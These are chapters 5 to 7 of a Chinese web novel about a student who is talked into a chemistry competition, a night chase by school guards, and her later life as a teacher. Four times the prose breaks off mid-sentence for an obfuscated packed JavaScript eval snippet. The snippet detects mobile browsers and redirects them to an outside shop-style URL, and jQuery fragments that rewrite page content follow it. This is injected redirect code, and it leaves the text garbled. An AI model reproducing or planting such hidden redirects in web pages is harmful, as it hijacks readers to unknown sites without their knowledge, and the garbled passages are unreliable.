年级组在每个班前面都搬了几张桌子,几把椅子,方便同学不打扰其他人找老师答疑,有时老师不在也有不少学生选择在这做题。 唐瑜嫣这几天都要烦死了,准备放假了,教室里弥漫着躁动的氛围,细细碎碎的开关桌板、拉书包拉链、讲小话的声音不绝于耳,她想趁这个时间写一下寒假作业都写不进去。 原本想去隔壁没人的教室写,昨晚又被一位好心的老师抓到,提醒说不让一个人在空教室,生怕她压力太大,一时想不开,从楼上跳下去都没人管着。 且不说二楼摔不摔得死人,她就是想找个安静的地方写作业,怎么就成抑郁轻生少女了。 但就是这么个荒谬的理由,她被赶回教室了。实在走投无路,只能到教室门口坐着——至少这里比里面安静。 听到宋飞珑的搭讪,她把目光从卷子上挪开,看到了一个很有活人气息的学长,看起来像奔跑了几千米过来,大冬天的脸上竟然流着汗,衣服也有点凌乱,有种风尘仆仆的味道,但浑身上下的行头一看就不便宜。哦,一个小少爷。 “不过那双眼睛倒是挺好看的,清澈得像一片湖,里面坠满了星星。”她转着笔,然后漫不经心道,“我就是,怎么了。” 像是被这过分的巧合惊到了,宋飞珑愣了一愣,随即立马露出一个温和又微妙的笑容以表亲近。 唐瑜嫣可不吃这套,多年躲麻烦的经验让她一眼就看出这人心怀不轨。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406453|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打算三言两语解决掉他。 “小唐学妹,我看你骨骼清奇,目光如炬,转笔的姿势都这么优雅自如,定是个学化学竞赛的好料子,我这有几套辅导书和课程,要不要试试。”这位少爷张口就来胡说八道。 唐瑜嫣把写满的草稿纸撕下来团成一团,没有任何情绪波动,“不想,不要,远离玄学迷信,从我做起。” “别这么冷漠嘛!你看我和你这么有缘分,能在你们班门口遇上,这不得来畅谈一下,万一你就想去了呢。”他继续嬉皮笑脸已读乱回。 “我已经明确拒绝了陈老师,如果是想来劝我参加竞赛就免了吧。”这话可比外面刮的大风还要冷三分,给宋飞珑冻得一激灵。 不过他不是一个轻言放弃之人,信誓旦旦:“你要是不想聊这个,那我们就聊聊人生,聊聊理想,聊聊大学,什么都可以。本人如假包换的名牌大学生,附带心理讲师证!” 然后又换压低声音:“你想啊,等毕业很多年以后,你连高中学了什么都快忘记,你的记忆里,还会存在着一个因为缘分偶遇的学长,在一个寒冷的冬夜,跟你畅想未来的生活。如此莫名其妙,但如此独一无二。” 像是被这人的无耻所惊到,又或是被他眼睛里的光吸引,也可能是作业准备写完了不想回教室听噪声。唐瑜嫣居然神差鬼使地同意了,想听听这人还能说出什么鬼话。这一时的冲动让她往后追悔不已。 “在这?” “去操场吧,一边绕圈一边聊。还可以看星星!” “你疯了,这么冷的天去操场?” 这人实在是太跳脱。已经在后悔了。 罢了,答都答应了。她两三笔把卷子最后一题的步骤写上去,填上答案,把笔一拍就跟着她新晋临时人生导师往外走。 外面不出意料的冷,寒风劈头盖脸地吹来,把唐瑜嫣冻得一激灵。把装帅披着的垃圾桶外套紧紧裹好。 但是这件外套被同学们诟病,不仅仅是因为它穿上后让人感觉丑得无地自容,更为关键的是,作为一件冬季外套,它还不保暖贴身。 就算把拉链拉到最高,冷风仍可以从脖子那钻进后背大衣与身体的空隙,让整个身子透心凉,那股寒气甚至能透进骨头缝。 说白了,这玩意就是你在家里摆着当花瓶,都有人来问怎么整了个这么猎奇的东西搁在堂前。 宋飞珑转头一看,这看起来很拽,说话像吐刀子一样的小学妹把自己裹得如同一只熊猫,怪可爱的,没忍住出声,“小唐学妹……” “你要是敢没话找话,跟我说什么时光不负有心人,星光不负赶路人,以梦为马,不负韶华什么的就给我死……”她毫不留情地打断。 刚从暖和的地方出来,难免有些不适应。唐瑜嫣揉了揉被吹红的脸,嘴上功夫倒没受什么影响。 她听见那人轻笑了一声,用一种莫名有魔力的声音问:“学妹,你希望高考以后的生活,是什么样子的?你想成为一个什么样的人呢?” “好土的开头,好装的学长。”对于这位神神叨叨的大教育家,唐瑜嫣脑子里冒出的第一个想法居然是这个。 5. 第 5 章 不过既然选择了大冷天的跟他出来散步,唐瑜嫣还是打算稍微认真敷衍一下他,不然她干嘛不在教室里坐着吹空调。 其实大多数高中生都常幻想高考后的生活,这大概是他们坚持下去的动力,是望梅止渴的无边期待。 而他们身上又承载了太多人的期望,也立过无数志,成为科学家,为社会做奉献,为国家献身,如此种种,为少年赋予了太多意义。 想做什么?想成为一个什么样的人?这两个极其大众化的问题其实是人行为举止和选择的底层逻辑。 宋飞珑在看到唐瑜嫣的第一眼,就觉得这个小学妹很有主见。以致于原本他并不打算以这两句话开始这次奇妙夜谈。但偏生对她的想法很感兴趣。 “考出省,去一个大城市,然后体验各种有意义的事,看不同的风景。”她的回答被冷风吹到空气中回荡着,轻飘飘的,“至于人生理想,我希望我的人生自然而非正确。没必要满足他人及社会期望,我过得开心,内心自洽就好。” “这小学妹还挺孤狼。”宋飞珑想,“但人是社会动物,满足社会也是满足自身。她……算了,等她以后再自己思考这个吧。” “那你怎么看待高考?”他追问。 这种感觉很奇妙,跟一个第一次见面的人剖析自己的观点。 “一个工具,实现自己理想的工具。且我不认为其他让自己达到理想状态的工具是错误的。艺考、体考,乃至职校升本、打工晋升,这都是工具和途经,没有好不好,只有趁不趁手合不合适。” 听到后半句的时候宋飞珑点了点头,似是认可她毫无偏见,这也算求同存异。 她抬头看天,漆黑的夜空中居然真的闪烁着几颗星星。 或许是当年办学校选址的时候为了避免在闹市区学生无心学习,最后选择把学校建在偏远的郊区,出门二里地居然还有农村。让人想翻墙逃学都不知道往哪去。 操场静悄悄的,只有他俩的声音混杂着风声,竟感到几分萧瑟,只有远处的体育馆亮着灯,可能是校队训练打球。 晚自习管得很严,敢于像唐瑜嫣他们这样顶风作案逃出班级的人寥寥无几。 “竞赛也是一种工具和方式。”宋飞珑提醒,“而且这还是最快捷的。” “但这不是性价比最高的,你要承担很多风险,花费很多时间和金钱。失败率太高了。一年能有几个人靠竞赛升学?”她毫不留情。 “况且,我爸和我妈离婚了。竞赛买书买课集训哪一项支出不是巨大的,随便听个线上课万把块就烧掉了。你说我是问我爸要还是我妈要?” 并非是想抒发原生家庭不幸,她爸和她妈算是在一起以后发现性格不合,不想因为一屋子鸡毛蒜皮的小事天天吵架,很是潇洒地和平离婚了。 两人对于她这个女儿那是没话说,给她留了套房自己住。隔三岔五关心她的生活和心理状况,对她的要求就是能在社会立足就好,每次回家都会专门过去跟她吃顿饭。年年过年甚至在一起过。 但她并不想把话题扯回竞赛上,于是想借题发挥一下,让这学长死了这条心。 但这棒槌学长继续假装听不懂她的拒绝,“害,别的不说,咱学校就是有钱!你想买什么课参加什么模拟考学校都帮报销,钱这事不需要你操心!” 土豪学校是这样的,唐瑜嫣气极,这每年砸几百万在补课罚款上的学校能差这点吗? “小唐,你有没有想过,未来的生活和你想的不一样。结束了高考,后面还有更多你没法拒绝的困难挑战等着你。你会在追逐你理想生活的过程中十分痛苦,然后会怨恨自己,为什么,我变成了我不喜欢的样子。” 唐瑜嫣想打断,但他没有给她打断的机会,继续下去。 “既然如此,为什么不能享受追逐的过程。我能看得出来你并不喜欢高考这种模式,你有能力,也有机会。如果参加竞赛,你可以享受学习更深知识的乐趣,以后说起竞赛,可以很骄傲地说这是我最独一无二且辉煌的经历。” 或许是想到了什么,他说这话的时候整个人像闪着光。 “我以为这种找到乐趣思考意义是大学生的特权。高中生不配,高中生只是刷题机器人。”唐瑜嫣凉飕飕地吐字。 “什么话呢,仍何人都有思考意义的权利。小唐,你不是不想参加竞赛吧,你太谨慎,怕失败,怕走错路。但又有什么关系呢,你还年轻,有无限可能!”他故作老成,口若悬河,其实他自己还是个没毕业没工作的大学生。 “这位少爷,你得明白,你的人生有人托底,你能在基本需求满足的条件下追求精神富足。你觉得我们普通学生有这个底气吗?”许是被戳破什么,唐瑜嫣像一只被踩着尾巴的猫,皱着眉出言讽刺。 “小唐,别心急。我们现在在交流观点而并非教育,我只是站在一个学长的角度提出建议,希望你把利弊分析清楚。怎么选择全凭你自己。” “但我怎么觉得你在把自己的价值观强加到别人身上呢?”唐瑜嫣继续攻击。 “并非如此,我只是抛出话题让你思考,没有强制要求你听从我的看法。” 或许是今晚的月亮太过皎洁,又或是跟这小学妹聊得怪尽兴的,让他意识到已经很久没有人会和他彻夜畅谈人生观起来,宋飞珑脑子里莫名浮现出古代名家月下把酒辩论的场景。 他的想法醉了,感觉身体也跟着醉了。于是他摇头晃脑,特地垮了几步向前让唐瑜嫣看他潇洒的背影,像月下喝高了的诗仙,神神叨叨。 “今晚我们所谈论,不止我的话在影响你,你的话也在影响我。可能未来有一天,你会发现今晚的对话,成为了组成你我的一部分!” 或许是此情此景太过于梦幻,唐瑜嫣居然真的冷静下来,开始咀嚼这人的每一句话。可能参加化学竞赛确实给她带来的正面收获远大于负面。 彼时他俩都或多或少带着未经世事打磨的天真与尖锐,在漫无边际地抒发自己不甚完美的观点思想,如之后许多个日日夜夜。 但今天这次压操场只是这个戏剧化的夜晚的开始—— 突然一道手电强光照到了她和那位诗兴大发下一秒感觉要像嵇康一样脱光坦荡于天地的文豪身上,她立马抬起手臂挡脸,微眯着快被刺瞎的眼睛。 随后听到操场另一头有人在喊道,“那边那对散步的情侣,站住!我看你们在操场上你侬我侬逛三圈了,早恋不躲好,还敢在晚自习逃课!” 教育过这么多早恋的学生,宋飞珑还是第一次被抓早恋,怪新鲜的,但他显然并不想以这样的方式出现在德育处里面。 不过这也怨不得保安大叔,他们被德育处主任委以重任当耳目抓情侣,而晚上的操场是附中小情侣最钟爱的根据地。 只是这段时间太冷,小情侣无法跨越寒冷这一先天爱情阻碍,同林鸟难以共赴爱巢,所以德育处颗粒无收。保安看到唐瑜嫣他们像是饿了很久的狼看到新鲜的猎物,眼都红了。 和保安对视上的一瞬间,宋飞珑下意识抓起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406454|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唐瑜嫣的手腕拔腿就跑,唐瑜嫣当时脑袋空空,显然也是没有被抓过的经历,顺势也迈开腿跟着他。 这不跑还好,一跑保安大叔算是来劲了,“还敢跑!”然后掏出腰间的对讲机指挥保安大队包抄。 “对,紧跟目标,001去宿舍那条道,002去守小卖部那边,003跟我往教学楼那边包夹!”他尖叫着布置战术。 他们俩飞奔地穿行过操场和篮球场,眼看着被堵到了死路,宋飞珑喘着热气问:“敢翻墙吗,宿舍门口的栏杆有个地方可以踩着跨过去,我在那边接着你。” 唐瑜嫣被冷风刮了这么久终于给吹清醒了:“不是,我们为什么要跑,我们又没在……” “哎跑都跑了还说这个,现在被抓到就完蛋了!”他突然开始爽朗地笑,声音扬起来,像一个奔跑的太阳,“这么多追兵,我们像不像警匪片里,偷了几百亿被通缉的逃犯!” “错了,是特工!”唐瑜嫣突然莫名其妙地被戳中,也笑起来,眉眼弯弯,那一刻她好像被点燃了,内心绽放出热烈的火花。“我被一个太阳拽着在寒夜里逃亡,荒诞又合理。” 他们利索地翻过栏杆,从另一个门出去,又被过来堵他们的保安赶到了图书馆。 “你们还挺能跑,跑半小时了还不累吗,来参加校园定向越野赛的嘛!”保安一边骂一边追。 “走,我知道那有个杂物间,我们进去锁门,然后从天花板上面爬出去!肯定能甩开他们。” 他看见唐瑜嫣明显跑得有点脱力,她那件绿色垃圾桶大衣早就被脱掉,然后被扔进哪个不知名草丛里面了。 唐瑜嫣撑着腿大喘气,她身上现在只有一件加绒卫衣,这一冷一热,估计是要感冒。看着她微红的脸,宋飞珑想赶紧结束这场追逐战。 “不是,我们怎么上天入地的。天花板顶是人爬的吗?”唐瑜嫣上气不接下气,对面这人倒是神采奕奕,脸不红心不跳,“老天,男大都这么有精神吗?” “可以的,我爬过,不脏!”被他离谱的判断坑了一回大的,唐瑜嫣竟然还没长记性,又被半懵半骗带去了那个小隔间。 打开门,钻进去,反锁,行云流水。唐瑜嫣刚准备缓一口气,突然看清了眼前的场景,她抬头和宋飞珑面面相觑,同时傻眼了。 “不是,这里什么时候改成厕所了!”事情疑似终于超出宋飞珑所料,这人风轻云淡的样子终于是装不下去了。 “我怎么知道,学校为什么会在这里搞升级改造。”唐瑜嫣咬牙切齿。 “那我们怎么办,真成亡命鸳鸯了!”他怎么还有心情打趣。不仅如此,还在角落捂着肚子笑得直抽抽。 “等死吧,你说的天花板被封了,人也追着我们堵到外面了,你跟人家解释,我俩只是谈人生理想不是谈恋爱,逃跑只是应激,翻墙是不小心把那看成大路了,来厕所是迷路了。你看谁会信!” “闹成这样,明天全校传的最厉害的八卦就是俩小情侣被保安大队围追堵截,最终在卫生间遗憾落网,好了我俩直接名留青史。”唐瑜嫣开口宣判他俩死刑。 “没事小唐我绝对解释清楚,不会有人乱传的!”宋飞珑一边笑一边不忘拍着胸口跟她打包票。 这时外面几个“追兵”已经冲到了门前,堵住了唯一的进出口,然后一刻也不犹豫地打电话给德育处老师报告,对面激动的声音传出话筒:“你们先看着,我马上就到!” 唐瑜嫣的脸上表情彻底碎成了几块,举手投足都是崩溃的绝望。 6. 第 6 章 “哇塞,你这经历还挺魔幻的,怪不得说没法复刻。”魏浩吧砸着嘴,“后来呢,你们被抓住处分了吗,老师你就这样进竞赛部了?” “什么叫很魔幻,你懂不懂浪漫,什么拉着你与全世界对抗!”徐真直接插进来,笑得春意盎然,“小唐原来和校长有这么一段。” 反应过来故事里面那个宋飞珑是他们英明神武的校长,还有老师带头起哄,那帮学生更是不困了,每个人都闪着亮晶晶的眼睛盯着唐瑜嫣企图再听一些校长八卦。 唐瑜嫣揉了揉太阳穴,按捺住把这帮小崽子同徐真一起扔出去的冲动。 “没有爱情,没有八卦,没有被处分,德育处主任认识他。人三言两语讲清楚了。况且那天晚上发生的最离谱的还不是我们这事。” “哦~但是校长亲自邀请你去的竞赛部哎,你们俩真没……”不知道是谁不怕死继续说。 “他那时候还不是校长。而且准确地说,那年竞赛部有一大半的人是给宋飞珑忽悠过去的,他游说完化竞这边,又向其他科目年级组老师主动请缨,然后把数竞物竞生竞那边的名单上的所有人全搞定了。” 唐瑜嫣冷酷地跟他撇清关系,扫了一圈蠢蠢欲动的学生,继续举例,“展妙,一文科生,最后给他拉去学数学竞赛了。” “啊…不是…那她…最后?”被数学竞赛捶打得体无完肤的魏浩目瞪口呆。 数学竞赛是所有竞赛中公认竞争最激烈的,文理平等不假,但文科重语英,理工偏数学,让一文科生去学数学竞赛,这…… “你高二了还没听过展姐的大名?”唐瑜嫣一眼就知道这人在纠结什么,“门口的荣誉墙上就有她拿银牌的照片,喏,就在哪呢。” “哦顺便提一句,她是我们那年文科高考状元,还破纪录了。” 这下全场静默了。好几个人安慰地拍着嘴角抽搐怀疑人生的魏浩,“人比人,气死人。” “扯远了,总而言之,我并不想劝你们学竞赛,现在竞赛部关了,希望你们今后不管做出什么选择,都要多思考,为自己的人生负责,而不是大家一起混日子。”唐瑜嫣想为这个故事和竞赛部画上结束的句号,再讲下去没完没了谁都别想睡了。 “好了好了,今天的茶话会时间结束了。全部回去睡觉,明早等着开学典礼处分啊!” 徐真意会到她想结束的意思,抬手作势看时间,出声结束了这场另类的谈心。 “不是,讲了这么多还要处分啊!”邓宽扯着嗓子崩溃,低声下气哀求,“老师看在那德育处老师放您一马的份上,您也高抬贵手一下,行不!” 说着他偷偷往唐瑜嫣那瞄,好吧,一张面无表情的脸,立马被吓得打了几个抖,“嘿嘿,我开玩笑的,那什么…” “处分意在提醒,不是惩罚。你们老老实实安安分分的,过半年就可以撤销了,不过要时刻注意自己的言行举止了哦!” 徐真继续笑吟吟地唱红脸安抚学生,“好了,都回去睡觉!” 就在宴闭人散之际,唐瑜嫣终于准备舒一口气结束一波三折的一天。又听到有人用非常认真地语气开口,是从什么时候开始就一直很沉默的冯熠。 “唐老师,我想知道,所以您就是因为这样,所以开始学习竞赛的吗?还是那天晚上还发生了什么?” 怎么又扯回竞赛了,这少爷的脑回路给停到哪了?唐瑜嫣无奈,但认真发问的人值得认真的回答,她只得又打起精神。 “跟后面的事没什么关系,说白了,我在那一刻被他说服了,我确实也想要我的校园生活更有意义。再加上他保证能给我一个安静的竞赛教室环境自习。” “至于我为什么最开始不想话疗,一是你们听多了大道理,讲了没用。” “二是我已经决定要关掉竞赛部,不会因为今晚我们的聊天而改变。” “三是我第一天做老师,思想难免不成熟,也不想用我的一些偏激看法过多影响你们,对此我也在学习如何成为一个优秀的教育工作者。” “你们都有自己的思考与经历,我们的人生背景和轨迹并不相同。而话疗的成功与否在于我的话语有没有办法触动到你。” “而触动是一个很玄妙的概念,我自认自身言语很贫瘠且没有魅力,不可能一次性让你们所有人开悟,但处分能让你们记得教训,为自己的言行负责,这是最高效的方法。” 她顿了顿,眼前是冯小少爷异常执着的脸,越没正行的人认真起来越执拗。 “很明显我的经历触动到你了,那很不错,至少我说一晚上话没白说,你自己回去想一想,你到底想要什么吧。”她结束了这场谈话。 ——她始终认为留白更利于迷茫的人思考。 收拾完东西关灯走出竞赛部,唐瑜嫣感觉整个人走路都是飘的,思绪快脱出大脑。 其实这个晚上闷热而并非寒冷,夜空中的星星也远没当年明亮。 但走在这条曾经逃窜过的路上,她还是忍不住回忆,那个这辈子不可能有第二次的夜晚。 她和宋飞珑并没有在厕所负隅顽抗,跟主任和保安打拉锯战,很快就投案自首了。 但她永远不会忘记邱主任看到宋飞珑挡在她前面走出厕所,外套还披在她身上,那生吞好几只了苍蝇的眼神。 大抵写着——你这浓眉大眼的,天天嘴上说着思想教育,背地里居然敢勾引我们学校的女学生! 唐瑜嫣一句话都不想多开口,就听着宋飞珑一路上噼里啪啦一大串,全在跟邱主任解释这件你听我说,这虽然不合理,但确实发生了的经历。 她感觉她内分泌科系统中突然迸发的肾上腺素在降低,奔跑带来的热情在冷却,身体也趋于寒冷。她索性捂紧了宋飞珑的外套,里面残存的温度让她确认她的灵魂依旧在燃烧。 “我大抵是不清醒了,居然真被说服了参加竞赛。”她默默思忖,连什么时候坐在了德育处喝着热茶驱寒都没注意。 她原以为这件事已经够乌龙了,没想到今晚德育处居然还有第二批顾客。 “我说了无数遍了,我们到保安室找过你们,你们一个都不在,我能有什么办法!” “什么叫我无故翻墙进校。我们学校进牛了你知道吗,牛!牛!头上长角的!” “你说我无故斗牛!?我求你了,小祝穿着红色衣服它一直跟着我们我们能怎么办!” “我怎么知道冬天为什么有牛从村里跑出来,你们不关好后门还擅离职守,我有办法吗?” 人未至声已至,如此泼辣的质问直接把唐瑜嫣的灵魂拽回了她的身体。 一个嗓音很洪亮很爽朗的女孩子——被保安押送入德育处——直接收获了所有人的注视。看到这么多人在,她也不尴尬,叉着腰轻哼一声让保安先汇报情况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406455|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 看起来明艳大方,飒气逼人,就是身上脏兮兮的。 保安三言两语跟拿着茶杯瞪大眼的邱主任解释。这位小姑娘在体育馆打完球,突然发现有头牛堵在了体育馆门口,一直跟着她和她朋友。 她寻求帮助未果,只能以身入局,把牛引出学校,让她朋友把门关了,自己翻墙回来,颇有救学校于危难水火之中的江湖英雄之风。 很可惜邱主任并不欣赏这精彩的武侠小说剧情,一味掐着人中,发出今晚第无数次怒吼:“编故事编这么离谱,你觉得我能信吗!” 唐瑜嫣和宋飞珑立马齐齐转身,用同病相怜的眼神看着那位赶牛女侠。 邱主任指着莫名成看热闹的“小情侣”,“他俩说没谈恋爱受惊乱跑跑到厕所就算了,你倒好,连牛都编出来了!” “什么叫编?你自己查监控,那牛看见红毛衣就不走了我有什么办法?我能把小祝丢在那自己走吗?” “你看我们敢跑吗,一跑要是那牛起劲了直接给我俩顶个对穿!”这位女侠看起来受了一肚子气,倒豆子一样说个不停。 “你们保安也是的,一队的人能都不在,干什么吃的呢!事情搞定了你们回来了,光看见我翻墙了是吧!”她又挑着眉,瞪向那几个心虚低头的保安。 他们一下子当sci飞天特警搞抓捕围剿玩爽了,全然忘记自己的本职工作,导致一时疏忽把牛放进来了。 幸好现在没出事,不然这工作也别干了,学校更是别办了。 邱主任反应过来头更是一个比两个大,脸全涨红了,“你…你们…她…”梗了个半天说不出个所以然来。 宋飞珑憋不住笑,同时毫不掩饰地表达对女侠大人的欣赏:“小姑娘叫什么名字,真是个妙人,干得漂亮!拯救学校!有勇有谋!” “谢谢,行不改名,坐不改姓,我叫展妙!”她把目光聚焦在这俩“不相干人士”上。 宋飞珑一下子感受到什么叫得来全不费功夫,发生的每一件事都是命中注定。 他也不怕水被搅得更浑一点,“那这位展女侠,不合时宜地问一句,你有兴趣参加化学竞赛吗?” “哦,化学竞赛呀。不是我不想去,我想学考古学来着,要选全文科!”她干脆利落地说,“高一这物化生太简单了,没怎么学也能考很高。哎话说你们俩是怎么回事?谈上了?” “这是个误会……”唐瑜嫣无力。 “那数学竞赛呢?你想试试吗?我看你数学考过几次年级第一。”宋飞珑故意先跳过第二个问题,想看看唐瑜嫣炸毛。 “哎我这倒没想过哎!可以试试,反正我已经把高中的文科课全学完了,正好找点乐子!”展妙兴奋地回答,“那行,我明天就去学数学竞赛!” 做决定的速度竟如此之快…… “这位更是九边形战士。”唐瑜嫣默默在心里吐槽,后面发生的事也证明了展妙是她见过最天赋异禀的天才。 这时展妙迅速反应过来:“所以你俩操场聊天是讲竞赛啊!你要学化学竞赛吗?如果这样我俩搭个伙以后一起吃饭啊!” 宋飞珑颇有心机,故意当复读机:“你要学化学竞赛吗,小唐学妹?” 这下全场的视线齐刷刷地集中到唐瑜嫣身上,等着她回答。 唐瑜嫣咬牙切齿,额角轻抽,“你算计我!去!我当然去!我敢不去!” 7. 第 7 章 那天晚上,唐瑜嫣梦里翻来覆去都是她拉着徐真被一群牛围追堵截,第二天听到闹钟响的那一刻恨不得把学校炸了,抬头看见教师公寓的天花板才意识到自己是老师,学校炸了她就失业了,只能像丧尸一样爬起来。 她往脸上泼了几轮清水试图把牛从脑子里洗去,这时候徐真又来电话了,叫她早点到操场集合今天要开开学典礼。 撑在镜子前看着滴着水的脸,唐瑜嫣愤恨地揉着太阳穴,徐真、操场、牛,该死,彻底过不去了…… 不过新老师开学典礼迟到,这还是太刺激了。唐瑜嫣不敢怠慢,快速收拾利索赶过去。 她暂时没有任课班级,跟着学校给她分配的导师班级行动。 说巧也不巧,可能是为了让她更容易接受,给她安排的导师是当年的唯爱老婆——现在仍爱着老婆的陈贤章副主任。 陈老师和她真是不一般的有缘,上学的时候任教他们班化学,当年学竞赛补进度的时候他又主动请缨,现在毕业了回来当老师还得听他课学如何教学生,这三生三世的。 然,感慨孽缘之深的不只唐瑜嫣一人。冯熠昨晚给唐瑜嫣最后那段话钓得找不着北,第一次开始思考自己的人生意义。 今早冯熠起床都还是靠他几个哥们从被子里把他薅出来强行开机,甚至还顶着俩大大的黑眼圈,神魂颠倒。 “冯哥,我知道你接受不了丢脸的事实,但是你直接不去不显得怕了那老师更丢脸吗!”他的朋友义薄云天,痛心地陈情,表示不想看到他这么潦倒落魄的样子。 冯熠就这么稀里糊涂的被他朋友囫囵套上校服,用毛巾摩擦了他平时要对镜欣赏十几遍的帅脸,扒拉了一下头发,嘴里还被塞了片面包,就出现在了班级队伍里。 上面宋校长在激情致辞,冯熠在这遭受心灵拷问。 “——进入了铁山校园,意味着你们将有无限的可能性,也有能力将不确定变为确定。” “我的钱是爸妈给的,毕业了以后进的公司也是爸妈的,这是我生下来就确定的,这与我个人作为与否有关系吗?” “——作为师长,我希望你们对未来有自己的思考,能够自己做出决定,而不是人云亦云。人,是会思考的苇草。” “我考虑过我的未来吗?我想要什么?我个人价值真的彻底被否认了吗?我活在世界上的意义是什么?改变了什么?痕迹是什么?” 他愈发混乱,脑子里这几句话拼命回响,再想一回怕是要联想到宇宙起源了。 在此之前,他每每提起他富裕的家庭,和完全不需要学习也能有花不完的钱的时候,总是昂首挺胸扬眉吐气的。 好吧现在也是是骄傲的,就只是总觉得哪里堵着难受,闷闷的,一股郁气卡在喉咙,不上不下的。 “——你们会在这里交到很多挚友,共同生活与用餐,学习与辩论,倾听与欢笑,成长与探索。” 突然他感觉背后有人给了他一巴掌,瞬间给他扇掉半口气。 “冯哥,别悼念你的手机了,实在不行我把我偷渡过来的mp4给你摸摸。” 前面的哥们也转过头,“哎我上次问你借你宝贝成什么样,怎么冯哥还没开口呢你说给就给!” “冯哥偷摸把手机带出竞赛部借我通宵打过游戏你借过吗!” “哎,是我想借就能借的吗,我手机进得来吗就借!” “那我mp4进得来是我的本事!那你也把字典挖个洞把设备扔里面混进来啊!” 这俩人就一前一后各从冯熠身侧探个头出来吵起嘴。 这两个显眼包活宝!冯熠神志恢复了一点,刚想骂出口要吵别隔着我吵,身侧又出现了昨晚飘在他旁边给他心灵暴击的女鬼。 “——未来离校时,你们也许会与学校的某些角落建立深厚的情感,也许会一次又一次怀念这里发生的人或事。” “——请不要为此难过,我们终将以校友的身份于顶端处再次相逢。” “不是,靠,唐老师你怎么每次都这么神出鬼没的。”冯熠哀怨。 “我也想知道为什么你每次都在混乱中心?上面开大会你们下面开小会呢。”唐瑜嫣其实是看到他校服穿反了,又耷拉着头,活像站在一群丹顶鹤里的杂毛鸡,听他这么一问,反倒不想提醒他了。 “哎我说话了吗就开会!”下意识地顶嘴完发现态度不对,又悻悻然补救,“我让那俩傻子闭嘴。” 唐瑜嫣欣赏了一下他川剧变脸,突然想起了什么,“陈老师是教你们班吗?” “是啊,他是隔壁班班主任,在我们两个班任教。哦魏浩是他们班的,严鹏飞也是。” “这下跟这帮小崽子的辈分是彻底乱套了。”唐瑜嫣心想,“缘,妙不可言。” 冯熠真怕了她似笑非笑的样子,小心翼翼,“怎么了?” “没怎么,以后你每节化学课都能看到我罢了,开心吗?”话毕又飘走了,留冯熠独自怀疑这缘分的合理性。 “——如今我们相聚于此,为理想和目标而奋斗。历经这份岁月,母校将是你们永远的家!” 校长发言结束后,各部门主任又轮番上去感叹了一下齐聚一堂朝气蓬勃青葱岁月少年有志等一车轱辘话,底下站着的学生听得腰酸背痛昏昏欲睡。 终于,在全体同学眼睛放光行最高注目礼的欢迎下,德育处主任大跨步走向中间。 这大概是所有人开大会的精神动力,听各路神仙千奇百怪的处分原因。 包括且不限于中午在宿舍不睡觉,做寿司藏芥末试图辣死同学,晚上起床上厕所,找鞋被记黑灯瞎火练芭蕾,半夜翻墙出宿舍看星星,早上遛回宿舍叠被子被缉拿等等。 “同学们,大家早上好!我也没想到开学的第一个晨会,就有我们德育处的戏份。有几名同学,昨天晚上居然做出了一件惊掉我大牙的事。” “据热心群众举报,我们收到了一份录像,录像显示,昨天晚上11点,头目冯熠伙同竞赛部其他成员,蓄意撬锁进入已封闭的竞赛部教室。” “为教育其本人,警示他人,予以全体竞赛部成员通报批评处分。希望大家引以为戒。” “大家肃静!这是一件很严肃的话题!” 这一处分可算是掀起了轩然大波,普通的处分理由已经无法让同学们内心产生波澜了,但这次不仅处分内容奇葩,更是德育处第一次向学校公认的三不管地带竞赛部开刀。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406456|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这可是大快人心,虽然嘴上不说,哪个平民阶级不羡慕大地主贵族的特权,当大多数人都跟网络隔绝的时候,有那么几个竞赛部的少爷能天天打游戏刷视频。 闻者落泪,见者伤心。大家只能在心里默默安慰自己我不是这种混子我想报竞赛也能去混考不过我还混不过吗是我自己选择的吃苦。 说白了就是不患寡而患不均。偏生竞赛又是顶尖学校必争之地,不是彻底烂完学校还是会选择睁一只眼闭一只眼。 